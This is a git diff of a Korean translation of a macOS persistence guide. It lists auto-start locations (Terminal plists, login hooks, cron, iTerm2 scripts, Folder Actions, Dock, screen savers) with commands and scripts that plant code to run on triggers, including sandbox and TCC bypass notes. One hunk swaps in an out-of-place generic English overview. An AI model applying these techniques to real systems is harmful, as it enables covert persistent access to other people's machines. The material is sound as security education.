@ -179,14 +179,14 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 사용자가 FDA 권한을 가질 수 있도록 터미널 사용
|
||||
* 사용자가 터미널을 사용할 때 FDA 권한을 가짐
|
||||
|
||||
#### 위치
|
||||
|
||||
* **`~/Library/Preferences/com.apple.Terminal.plist`**
|
||||
* **트리거**: 터미널 열기
|
||||
|
||||
#### 설명 및 악용
|
||||
#### 설명 및 공격
|
||||
|
||||
**`~/Library/Preferences`**에는 사용자의 응용 프로그램 환경 설정이 저장됩니다. 이러한 환경 설정 중 일부는 **다른 응용 프로그램/스크립트를 실행**할 수 있는 구성을 보유할 수 있습니다.
|
||||
|
||||
|
@ -210,7 +210,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
}
|
||||
[...]
|
||||
```
|
||||
그래서 시스템의 터미널 환경 설정 파일(plist)을 덮어쓸 수 있다면, **`open`** 기능을 사용하여 **터미널을 열고 해당 명령이 실행**될 수 있습니다.
|
||||
그래서, 시스템의 터미널 환경 설정 파일(plist)이 덮어쓰여진다면, **`open`** 기능을 사용하여 **터미널을 열고 해당 명령이 실행**될 수 있습니다.
|
||||
|
||||
다음 명령을 사용하여 CLI에서 이를 추가할 수 있습니다:
|
||||
|
||||
|
@ -236,11 +236,11 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
|
|||
* **어디서나**
|
||||
* **트리거**: 터미널 열기
|
||||
|
||||
#### 설명 및 악용
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
[**`.terminal`** 스크립트](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx)를 만들고 열면 **터미널 애플리케이션**이 자동으로 호출되어 거기에 표시된 명령을 실행합니다. 터미널 앱에 특별한 권한(예: TCC)이 있는 경우 명령이 해당 특별한 권한으로 실행됩니다.
|
||||
|
||||
다음과 같이 시도해보세요:
|
||||
다음과 함께 시도해보세요:
|
||||
```bash
|
||||
# Prepare the payload
|
||||
cat > /tmp/test.terminal << EOF
|
||||
|
@ -293,7 +293,7 @@ Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
|
|||
|
||||
#### 설명
|
||||
|
||||
이전의 글들에 따르면 **일부 오디오 플러그인을 컴파일**하고 로드할 수 있습니다.
|
||||
이전의 글에서 **일부 오디오 플러그인을 컴파일**하고 로드할 수 있다고 합니다.
|
||||
|
||||
### QuickLook 플러그인
|
||||
|
||||
|
@ -320,7 +320,7 @@ QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더
|
|||
### ~~로그인/로그아웃 후크~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
나에게는 작동하지 않았습니다. 사용자 LoginHook이나 루트 LogoutHook도 작동하지 않았습니다.
|
||||
나에게는 작동하지 않았습니다. 사용자 LoginHook이나 루트 LogoutHook 모두 작동하지 않았습니다.
|
||||
{% endhint %}
|
||||
|
||||
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
|
||||
|
@ -330,10 +330,10 @@ QuickLook 플러그인은 **파일 미리보기를 트리거**할 때(파인더
|
|||
|
||||
#### 위치
|
||||
|
||||
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`와 같은 것을 실행할 수 있어야 함
|
||||
* `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`와 같은 명령을 실행할 수 있어야 함
|
||||
* `~/Library/Preferences/com.apple.loginwindow.plist`에 위치함
|
||||
|
||||
이러한 후크는 폐기되었지만 사용자가 로그인할 때 명령을 실행할 수 있습니다.
|
||||
이러한 후크는 사용자가 로그인할 때 명령을 실행할 수 있도록 사용되지만 사용이 중단되었지만 여전히 사용할 수 있습니다.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -365,7 +365,7 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
## 조건부 샌드박스 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
여기에서는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 쓰고** 특정 **프로그램이 설치되어 있거나 "일반적이지 않은" 사용자** 조치 또는 환경과 같이 **매우 흔하지 않은 조건**을 기대하지 않고 간단히 무언가를 실행할 수 있습니다.
|
||||
여기에서는 **샌드박스 우회**에 유용한 시작 위치를 찾을 수 있습니다. 이를 통해 **파일에 쓰기**만으로 **특정 프로그램이 설치되어 있거나, "일반적이지 않은" 사용자** 조치 또는 환경과 같은 **매우 흔하지 않은 조건**을 기대하지 않고도 무언가를 간단히 실행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 크론
|
||||
|
@ -389,14 +389,14 @@ defaults delete com.apple.loginwindow LogoutHook
|
|||
```bash
|
||||
crontab -l
|
||||
```
|
||||
맥OS에서는 **`/usr/lib/cron/tabs/`** 및 **`/var/at/tabs/`**에서 사용자의 모든 cron 작업을 볼 수 있습니다 (루트 권한 필요).
|
||||
맥OS에서는 **`/usr/lib/cron/tabs/`** 및 **`/var/at/tabs/`** (루트 권한 필요)에 사용자의 모든 cron 작업을 볼 수 있습니다.
|
||||
|
||||
맥OS에서는 일정한 빈도로 스크립트를 실행하는 여러 폴더를 다음 위치에서 찾을 수 있습니다:
|
||||
```bash
|
||||
# The one with the cron jobs is /usr/lib/cron/tabs/
|
||||
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
||||
```
|
||||
다음에서는 일반 **cron** **작업**, **at** **작업** (거의 사용되지 않음) 및 **주기적** **작업** (주로 임시 파일을 정리하는 데 사용됨)을 찾을 수 있습니다. 매일 주기적 작업은 다음과 같이 실행할 수 있습니다: `periodic daily`.
|
||||
여기에서는 일반 **cron** **작업**, **at** **작업** (거의 사용되지 않음), 그리고 **주기적 작업** (주로 임시 파일을 정리하는 데 사용됨)을 찾을 수 있습니다. 매일 주기적 작업은 다음과 같이 실행할 수 있습니다: `periodic daily`.
|
||||
|
||||
**사용자 cron 작업을 프로그래밍적으로 추가**하려면 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
|
@ -409,7 +409,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.
|
|||
|
||||
* 유용한 샌드박스 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* TCC 우회: [✅](https://emojipedia.org/check-mark-button)
|
||||
* iTerm2는 TCC 권한을 부여했던 적이 있습니다.
|
||||
* iTerm2는 TCC 권한을 부여했었습니다.
|
||||
|
||||
#### 위치
|
||||
|
||||
|
@ -431,23 +431,19 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
## macOS Auto Start Locations
|
||||
### macOS Auto Start Locations
|
||||
|
||||
### Launch Agents
|
||||
macOS provides several locations where applications can be configured to automatically start when a user logs in. These locations include:
|
||||
|
||||
Launch agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
1. **Login Items**: Found in System Preferences > Users & Groups, this is the most common way for applications to start at login. Users can add or remove applications from this list.
|
||||
|
||||
### Launch Daemons
|
||||
2. **Launch Agents**: These are user-specific agents that run when a user logs in. They are usually found in `~/Library/LaunchAgents/`.
|
||||
|
||||
Launch daemons are used to run processes at system boot or login. They are stored in `/Library/LaunchDaemons/`.
|
||||
3. **Launch Daemons**: These are system-wide daemons that run regardless of which user is logged in. They are typically found in `/Library/LaunchDaemons/`.
|
||||
|
||||
### Login Items
|
||||
4. **Startup Items**: Deprecated since macOS 10.7, Startup Items used to be a common way to launch daemons or agents at boot. They were stored in `/Library/StartupItems/`.
|
||||
|
||||
Login items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
### Startup Items
|
||||
|
||||
Startup items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
To improve security, it is recommended to regularly review and remove unnecessary applications from these auto-start locations.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -468,11 +464,11 @@ EOF
|
|||
```bash
|
||||
do shell script "touch /tmp/iterm2-autolaunchscpt"
|
||||
```
|
||||
iTerm2 환경 설정은 **`~/Library/Preferences/com.googlecode.iterm2.plist`**에 위치하며, iTerm2 터미널이 열릴 때 **실행할 명령을 나타낼 수 있습니다**.
|
||||
iTerm2 환경 설정은 **`~/Library/Preferences/com.googlecode.iterm2.plist`**에 위치하며, iTerm2 터미널이 열릴 때 **실행할 명령을 나타낼 수 있습니다.**
|
||||
|
||||
이 설정은 iTerm2 설정에서 구성할 수 있습니다:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
그리고 해당 명령은 환경 설정에 반영됩니다:
|
||||
```bash
|
||||
|
@ -545,7 +541,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon)은 **macOS**용 자동화 플랫폼으로, 작업에 **LUA 스크립팅 언어**를 활용합니다. 특히, 완전한 AppleScript 코드의 통합과 셸 스크립트의 실행을 지원하여 스크립팅 기능을 크게 향상시킵니다.
|
||||
|
||||
이 앱은 단일 파일인 `~/.hammerspoon/init.lua`를 찾고, 시작되면 해당 스크립트가 실행됩니다.
|
||||
이 앱은 단일 파일인 `~/.hammerspoon/init.lua`를 찾으며, 시작되면 해당 스크립트가 실행됩니다.
|
||||
```bash
|
||||
mkdir -p "$HOME/.hammerspoon"
|
||||
cat > "$HOME/.hammerspoon/init.lua" << EOF
|
||||
|
@ -563,7 +559,7 @@ EOF
|
|||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
이 도구는 일부 단축키가 눌렸을 때 실행할 애플리케이션 또는 스크립트를 지정할 수 있습니다. 공격자는 임의의 코드를 실행하도록 **자신만의 단축키 및 작업을 데이터베이스에 설정**할 수 있어서 (단축키는 키를 누르는 것만으로도 가능합니다).
|
||||
이 도구는 일부 단축키가 눌렸을 때 실행할 애플리케이션 또는 스크립트를 지정할 수 있습니다. 공격자는 임의의 코드를 실행하도록 **자신만의 단축키 및 작업을 데이터베이스에 설정**할 수 있어서 임의 코드를 실행할 수 있습니다 (단축키는 키를 누르는 것만으로도 가능합니다).
|
||||
|
||||
### Alfred
|
||||
|
||||
|
@ -604,7 +600,7 @@ sudo systemsetup -setremotelogin on
|
|||
|
||||
#### 설명 및 Exploitation
|
||||
|
||||
기본적으로 `/etc/ssh/sshd_config`에서 `PermitUserRC no`가 아닌 경우, 사용자가 **SSH를 통해 로그인**할 때 **`/etc/ssh/sshrc`** 및 **`~/.ssh/rc`** 스크립트가 실행됩니다.
|
||||
기본적으로 `/etc/ssh/sshd_config`에서 `PermitUserRC no`가 아닌 경우, 사용자가 **SSH를 통해 로그인**할 때 스크립트 **`/etc/ssh/sshrc`** 및 **`~/.ssh/rc`**가 실행됩니다.
|
||||
|
||||
### **로그인 항목**
|
||||
|
||||
|
@ -618,7 +614,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.
|
|||
|
||||
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
|
||||
* **트리거:** 로그인
|
||||
* **`osascript`**를 호출하여 저장된 Exploit 페이로드
|
||||
* Exploit 페이로드는 **`osascript`**를 호출하여 저장됨
|
||||
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
|
||||
* **트리거:** 로그인
|
||||
* 루트 권한 필요
|
||||
|
@ -645,7 +641,7 @@ osascript -e 'tell application "System Events" to delete login item "itemname"'
|
|||
|
||||
(로그인 항목에 대한 이전 섹션을 확인하십시오. 이것은 확장입니다)
|
||||
|
||||
**ZIP** 파일을 **로그인 항목**으로 저장하면 **`Archive Utility`**가 열리고, 예를 들어 **`~/Library`**에 저장된 ZIP 파일이 **`LaunchAgents/file.plist`** 폴더를 포함하고 있고 해당 폴더에 백도어가 포함되어 있다면 (기본적으로는 그렇지 않음), 해당 폴더가 생성되고 plist가 추가되어 다음에 사용자가 다시 로그인할 때 **plist에 표시된 백도어가 실행**됩니다.
|
||||
**ZIP** 파일을 **로그인 항목**으로 저장하면 **`Archive Utility`**가 열리고, 예를 들어 **`~/Library`**에 저장된 ZIP이 **`LaunchAgents/file.plist`** 폴더를 포함하고 있고 해당 폴더에 백도어가 포함되어 있다면 (기본적으로는 그렇지 않음), 해당 폴더가 생성되고 plist가 추가되어 다음에 사용자가 다시 로그인할 때 **plist에 표시된 백도어가 실행**됩니다.
|
||||
|
||||
다른 옵션으로는 사용자 홈 디렉토리 내에 **`.bash_profile`** 및 **`.zshenv`** 파일을 생성하는 것이며, LaunchAgents 폴더가 이미 존재하는 경우에도 이 기술이 여전히 작동할 것입니다.
|
||||
|
||||
|
@ -663,7 +659,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.
|
|||
|
||||
#### **설명**
|
||||
|
||||
`at` 작업은 **특정 시간에 실행되는 일회성 작업**을 예약하는 데 사용됩니다. cron 작업과 달리 `at` 작업은 실행 후 자동으로 제거됩니다. 이러한 작업은 시스템 재부팅 후에도 지속되므로 특정 조건 하에서 잠재적인 보안 문제로 표시됩니다.
|
||||
`at` 작업은 **특정 시간에 실행되는 일회성 작업**을 예약하는 데 사용됩니다. cron 작업과 달리 `at` 작업은 실행 후 자동으로 제거됩니다. 이러한 작업은 시스템 재부팅 후에도 지속되므로 특정 조건에서 보안 문제가 될 수 있음을 주의해야 합니다.
|
||||
|
||||
**기본적으로** 비활성화되어 있지만 **루트** 사용자는 다음과 같이 **활성화**할 수 있습니다:
|
||||
```bash
|
||||
|
@ -679,7 +675,7 @@ sh-3.2# atq
|
|||
26 Tue Apr 27 00:46:00 2021
|
||||
22 Wed Apr 28 00:29:00 2021
|
||||
```
|
||||
위에서 두 개의 예약된 작업을 볼 수 있습니다. `at -c JOBNUMBER`를 사용하여 작업의 세부 정보를 출력할 수 있습니다.
|
||||
위에서 두 개의 작업이 예약되어 있는 것을 볼 수 있습니다. `at -c JOBNUMBER`를 사용하여 작업의 세부 정보를 출력할 수 있습니다.
|
||||
```shell-session
|
||||
sh-3.2# at -c 26
|
||||
#!/bin/sh
|
||||
|
@ -725,29 +721,29 @@ total 32
|
|||
```
|
||||
파일 이름에는 대기열, 작업 번호 및 예약된 실행 시간이 포함되어 있습니다. 예를 들어 `a0001a019bdcd2`를 살펴보겠습니다.
|
||||
|
||||
- `a` - 이것은 대기열을 나타냅니다.
|
||||
- `0001a` - 16진수로 된 작업 번호, `0x1a = 26`
|
||||
- `019bdcd2` - 16진수로 된 시간. 이는 epoch 이후 경과된 분을 나타냅니다. `0x019bdcd2`는 10진수로 `26991826`입니다. 이를 60으로 곱하면 `1619509560`이 되며, 이는 `GMT: 2021년 4월 27일 화요일 7시 46분 00초`입니다.
|
||||
* `a` - 이것은 대기열입니다.
|
||||
* `0001a` - 16진수로 된 작업 번호, `0x1a = 26`
|
||||
* `019bdcd2` - 16진수로 된 시간. 이는 epoch 이후 경과된 분을 나타냅니다. `0x019bdcd2`는 10진수로 `26991826`입니다. 이를 60으로 곱하면 `1619509560`이 되며, 이는 `GMT: 2021년 4월 27일 화요일 7시 46분 00초`입니다.
|
||||
|
||||
작업 파일을 출력하면 `at -c`를 사용하여 얻은 정보와 동일한 정보가 포함되어 있습니다.
|
||||
작업 파일을 출력하면 `at -c`를 사용하여 얻은 정보와 동일한 정보가 포함되어 있음을 알 수 있습니다.
|
||||
|
||||
### 폴더 액션
|
||||
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
|
||||
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
|
||||
|
||||
- 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
- 그러나 **`System Events`**에 연락하기 위해 `osascript`를 인수와 함께 호출할 수 있어야 함
|
||||
- TCC 우회: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- 데스크톱, 문서 및 다운로드와 같은 일부 기본 TCC 권한이 있음
|
||||
* 샌드박스 우회에 유용함: [✅](https://emojipedia.org/check-mark-button)
|
||||
* 그러나 **`System Events`**에 연락하기 위해 `osascript`를 인수와 함께 호출할 수 있어야 함
|
||||
* TCC 우회: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 데스크톱, 문서 및 다운로드와 같은 일부 기본 TCC 권한이 있음
|
||||
|
||||
#### 위치
|
||||
|
||||
- **`/Library/Scripts/Folder Action Scripts`**
|
||||
- 루트 권한 필요
|
||||
- **트리거**: 지정된 폴더에 액세스
|
||||
- **`~/Library/Scripts/Folder Action Scripts`**
|
||||
- **트리거**: 지정된 폴더에 액세스
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* 루트 권한 필요
|
||||
* **트리거**: 지정된 폴더에 액세스
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **트리거**: 지정된 폴더에 액세스
|
||||
|
||||
#### 설명 및 악용
|
||||
|
||||
|
@ -757,8 +753,8 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
|
|||
|
||||
1. [Automator](https://support.apple.com/guide/automator/welcome/mac)를 사용하여 폴더 액션 워크플로우를 만들고 서비스로 설치하는 것
|
||||
2. 폴더의 컨텍스트 메뉴에서 폴더 액션 설정을 통해 스크립트를 수동으로 첨부하는 것
|
||||
3. 시스템적으로 폴더 액션을 설정하기 위해 `System Events.app`로 Apple 이벤트 메시지를 보내기 위해 OSAScript를 활용하는 것
|
||||
- 이 방법은 특히 시스템에 작업을 포함하여 지속성 수준을 제공하는 데 유용합니다.
|
||||
3. `System Events.app`로 Apple 이벤트 메시지를 보내기 위해 OSAScript를 활용하여 폴더 액션을 프로그래밍적으로 설정하는 것
|
||||
* 이 방법은 특히 시스템에 작업을 포함하여 지속성 수준을 제공하는 데 유용합니다.
|
||||
|
||||
다음 스크립트는 폴더 액션에서 실행할 수 있는 예시입니다:
|
||||
```applescript
|
||||
|
@ -774,7 +770,7 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
스크립트를 컴파일한 후, 아래 스크립트를 실행하여 Folder Actions를 설정합니다. 이 스크립트는 전역적으로 Folder Actions를 활성화하고 이전에 컴파일한 스크립트를 데스크톱 폴더에 특정하게 첨부합니다.
|
||||
스크립트를 컴파일한 후, 아래 스크립트를 실행하여 Folder Actions를 설정합니다. 이 스크립트는 Folder Actions를 전역적으로 활성화하고 이전에 컴파일한 스크립트를 데스크톱 폴더에 특정하게 첨부합니다.
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -784,11 +780,11 @@ var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
|
|||
se.folderActions.push(fa);
|
||||
fa.scripts.push(myScript);
|
||||
```
|
||||
다음과 같이 설정 스크립트를 실행하십시오:
|
||||
설정 스크립트를 다음과 같이 실행하십시오:
|
||||
```bash
|
||||
osascript -l JavaScript /Users/username/attach.scpt
|
||||
```
|
||||
* GUI를 통해 이 지속성을 구현하는 방법은 다음과 같습니다:
|
||||
* 이것은 GUI를 통해 이 지속성을 구현하는 방법입니다:
|
||||
|
||||
다음은 실행될 스크립트입니다:
|
||||
|
||||
|
@ -812,19 +808,19 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
```
|
||||
그런 다음 `Folder Actions Setup` 앱을 열고 **감시하려는 폴더**를 선택하고 경우에 따라 **`folder.scpt`**를 선택합니다(내 경우에는 output2.scp로 이름을 지었습니다):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
이제 **Finder**로 해당 폴더를 열면 스크립트가 실행됩니다.
|
||||
|
||||
이 구성은 **base64 형식의** **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**에 저장되어 있습니다.
|
||||
|
||||
이제 GUI 액세스 없이 이 영속성을 준비해 보겠습니다:
|
||||
이제 GUI 액세스 없이 이 영속성을 준비해 봅시다:
|
||||
|
||||
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**를 백업하기 위해 `/tmp`로 복사합니다:
|
||||
1. **`~/Library/Preferences/com.apple.FolderActionsDispatcher.plist`**를 `/tmp`로 백업하기:
|
||||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. 방금 설정한 Folder Actions를 **제거**합니다:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이제 비어 있는 환경이 있습니다.
|
||||
|
||||
|
@ -850,7 +846,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.
|
|||
|
||||
#### 설명 및 악용
|
||||
|
||||
Dock에 나타나는 모든 애플리케이션은 plist 내에서 지정됩니다: **`~/Library/Preferences/com.apple.dock.plist`**
|
||||
Dock에 나타나는 모든 애플리케이션은 **`~/Library/Preferences/com.apple.dock.plist`**에 지정됩니다.
|
||||
|
||||
**애플리케이션을 추가**하는 것만으로도 가능합니다:
|
||||
|
||||
|
@ -923,7 +919,7 @@ killall Dock
|
|||
|
||||
* 샌드박스 우회에 유용: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 매우 구체적인 동작이 필요함
|
||||
* 다른 샌드박스로 이동
|
||||
* 다른 샌드박스에 도달할 것임
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -936,11 +932,11 @@ killall Dock
|
|||
|
||||
#### 설명 및 공격
|
||||
|
||||
**코드와 함께 컬러 피커** 번들을 컴파일하고 ([**예를 들어 이것**](https://github.com/viktorstrate/color-picker-plus)을 사용할 수 있음) 생성자를 추가하고 (`macos-auto-start-locations.md#screen-saver`의 스크린 세이버 섹션과 같이) 번들을 `~/Library/ColorPickers`에 복사합니다.
|
||||
**코드와 함께 컬러 피커** 번들을 컴파일하십시오 (예: [**이것을 사용할 수 있습니다**](https://github.com/viktorstrate/color-picker-plus)) 그리고 생성자를 추가하십시오 ([스크린 세이버 섹션](macos-auto-start-locations.md#screen-saver)과 같이) 그리고 번들을 `~/Library/ColorPickers`로 복사하십시오.
|
||||
|
||||
그럼, 컬러 피커가 트리거되면 당신의 코드도 실행될 것입니다.
|
||||
|
||||
당신의 라이브러리를 로드하는 이진 파일이 **매우 제한적인 샌드박스**를 가지고 있음을 유의하세요: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
당신의 라이브러리를 로드하는 이진 파일이 매우 제한적인 샌드박스를 가지고 있음을 유의하십시오: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -967,9 +963,9 @@ killall Dock
|
|||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
Finder Sync Extension이 있는 애플리케이션 예시는 [**여기에서 찾을 수 있습니다**](https://github.com/D00MFist/InSync).
|
||||
Finder Sync Extension이 포함된 응용 프로그램 예시는 [**여기에서 찾을 수 있습니다**](https://github.com/D00MFist/InSync).
|
||||
|
||||
애플리케이션은 `Finder Sync Extensions`를 가질 수 있습니다. 이 확장은 실행될 애플리케이션 내부로 들어갑니다. 더욱이, 확장이 코드를 실행할 수 있도록 하려면 **일부 유효한 Apple 개발자 인증서로 서명**되어야 하며, **샌드박스**에 있어야 합니다 (비록 완화된 예외가 추가될 수 있음) 그리고 다음과 같은 것으로 등록되어야 합니다:
|
||||
응용 프로그램은 `Finder Sync Extensions`를 가질 수 있습니다. 이 확장은 실행될 응용 프로그램 내부로 들어갑니다. 또한, 확장이 코드를 실행할 수 있도록 하려면 **일부 유효한 Apple 개발자 인증서로 서명**되어야 하며, **샌드박스**에 있어야 합니다 (비록 완화된 예외가 추가될 수 있음) 그리고 다음과 같은 것으로 등록되어야 합니다:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
|
@ -979,8 +975,8 @@ pluginkit -e use -i com.example.InSync.InSync
|
|||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* 샌드박스 우회에 유용함: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 그러나 일반 애플리케이션 샌드박스에 빠질 수 있음
|
||||
* 샌드박스 우회에 유용: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 그러나 일반 애플리케이션 샌드박스에 끝나게 될 것입니다
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### 위치
|
||||
|
@ -994,11 +990,11 @@ Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://p
|
|||
* `~/Library/Screen Savers`
|
||||
* **트리거**: 스크린 세이버 선택
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### 설명 및 Exploit
|
||||
|
||||
Xcode에서 새 프로젝트를 생성하고 새 **스크린 세이버**를 생성하는 템플릿을 선택합니다. 그런 다음, 예를 들어 다음 코드를 사용하여 로그를 생성합니다.
|
||||
Xcode에서 새 프로젝트를 만들고 새 **스크린 세이버**를 생성하는 템플릿을 선택합니다. 그런 다음, 예를 들어 다음 코드를 사용하여 로그를 생성합니다.
|
||||
|
||||
**빌드**하고 `.saver` 번들을 **`~/Library/Screen Savers`**로 복사합니다. 그런 다음, 스크린 세이버 GUI를 열고 클릭하면 많은 로그가 생성됩니다:
|
||||
|
||||
|
@ -1014,7 +1010,7 @@ Timestamp (process)[PID]
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 코드를 로드하는 이진 파일의 entitlements 내부에 (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`**을 찾을 수 있기 때문에 **일반 애플리케이션 샌드박스 내에** 있게 될 것입니다.
|
||||
이 코드를 로드하는 이진 파일의 entitlements 내부에 (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) **`com.apple.security.app-sandbox`**을 찾을 수 있기 때문에 **일반 애플리케이션 샌드박스 내부에 있을 것**입니다.
|
||||
{% endhint %}
|
||||
|
||||
Saver code:
|
||||
|
@ -1088,7 +1084,7 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
|
|||
writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
|
||||
|
||||
* 샌드박스 우회에 유용함: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* 그러나 응용 프로그램 샌드박스에 끝나게 됨
|
||||
* 그러나 애플리케이션 샌드박스에 끝나게 됨
|
||||
* TCC 우회: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* 샌드박스는 매우 제한적으로 보임
|
||||
|
||||
|
@ -1104,18 +1100,18 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
* 루트 권한 필요
|
||||
* `Some.app/Contents/Library/Spotlight/`
|
||||
* **트리거**: 스포트라이트 플러그인이 관리하는 확장자를 가진 새 파일이 생성됨.
|
||||
* 새 앱 필요
|
||||
* 새로운 앱 필요
|
||||
|
||||
#### 설명 및 악용
|
||||
|
||||
Spotlight은 macOS의 내장 검색 기능으로, 사용자에게 **컴퓨터의 데이터에 빠르고 포괄적인 액세스**를 제공하기 위해 설계되었습니다.\
|
||||
